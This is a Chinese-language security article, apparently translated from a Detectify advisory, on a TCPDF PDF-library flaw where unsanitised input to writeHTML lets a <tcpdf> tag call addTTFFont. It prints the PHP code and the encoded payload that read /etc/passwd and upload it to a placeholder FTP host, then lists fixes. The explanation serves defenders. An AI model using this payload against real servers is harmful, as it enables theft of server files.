黑客利用PDF生成器窃取WEB服务器上的文件
TCPDF PDF生成器是当今最流行的用于创建PDF文档的PHP库之一，同时也是当今最热门的开源项目之一。它每天拥有数百万用户使用量，其载体一般为CMS程序或者其他WEB应用。然而， 黑客利用TCPDF的一个漏洞，可以轻松从WEB服务器上窃取文件。
漏洞利用场景
1、Alice是一个网店的老板，她会发给客户一张PDF文档作为收据，上面写明了采购情况和买家信息。 2、这时，有个叫Chuck的攻击者注意到，Alice忘了在写入PDF文档之前，给“客户名字”这一栏的数据做安全过滤。 3、Chuck通过研究发现，他完全可以在PDF文档里订单的“客户名字”一栏做文章，填入构造的恶意payload（攻击负载）。在PDF文档生成时会执行恶意脚本，从而在Alice的网店服务器上窃取文件。
攻击流程
那么为什么会出现以上的场景呢？具体的细节是这样的：
Chuck在“客户名字”所填的这个恶意Payload，它试图告诉Alice服务器的PDF生成器，希望在此处添加一个服务器本身所带的字体，最后将这个字体文件传到Chuck的FTP服务器上。
但是， PDF生成器在这里，并没有对这个所谓的“字体”文件和这个文件将要发送的地址做任何检查 。 通过这个漏洞，Chuck可以窃取服务器上PHP权限下任何可读的文件。
理解TCPDF
为了设计一个TCPDF模式的PDF，方法有很多。最常见的办法就是在里面创建一个简单的HTML页面，往TCPDF里面加入HTML代码。常见的HTML标签都会被解析，然后转换为PDF格式。比如table、image，以及header。
不过，还有一个特殊标签<tcpdf />默认也是被启用了的。这是一个被TCPDF类调用方法的特殊标签，该元素示例如下：
<tcpdf method="MethodFromTCPDFClass" params="EscapedParamData" />
如果这个HTML元素被传递给writeHTML，且这个TCPDF的方法“MethodFromTCPDFClass”有效，TCPDF会结合其他参数执行这个特殊方法。
换句话来说，如果一个用户把没有经过检查的数据传递给writeHTML，用户就可能偷偷调用运行TCPDF类的某种方法。TCPDF类的这些方法由此可能被黑客所利用。
利用字体加载的方法
TCPDF类有个方法名叫addTTFFont，文档上说明：“它可以转换字体，并将TrueType或者Type1的字体添加进字体包”。当然，这也可以被用于将服务器上的任意可读文件进行压缩，并发送到任意可写的地址，自然这地址也可以是黑客的远程服务器。
addTTFFont方法有着下述的关联参数：
$fontfile--服务器上需要提取的任意可写文件的路径。 $fonttype--黑客需要设置的TrueType $outpath--文件输出的地址，这里可以填一个黑客的FTP地址。
想要生成一个tcpdf元素，可以使用下面的代码：
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/'))); 生成结果如下：
<tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fpasswd%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fuser%3Apass%40host%5C%2F%22%5D"/>
如果我们能用TCPDF将代码注入到一个生成的PDF文档里，服务器在生成解析时，会攫取本机/etc/passwd的内容，并将其上传到黑客的FTP服务器上。
TCPDF的安全
现在大家需要做的就是升级TCPDF到最新版本。当然咱们也不止这一个解决办法。针对这个漏洞我们完全可以：
在php.ini里，将allow_url_fopen设为Off 在config/tcpdf_config.php里，将K_TCPDF_CALLS_IN_HTML设为false
[参考来源 detectify ，由FreeBuf小编dawner翻译整理，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）]
正文到此结束
热门推荐
相关文章
近期评论
-
666
-
文章和留言都翻到11页了 没有OOM
-
-
朋友，翻页到11页，及以后，会出现OOM，无法访问
-
-
-
-
版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
-
-
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
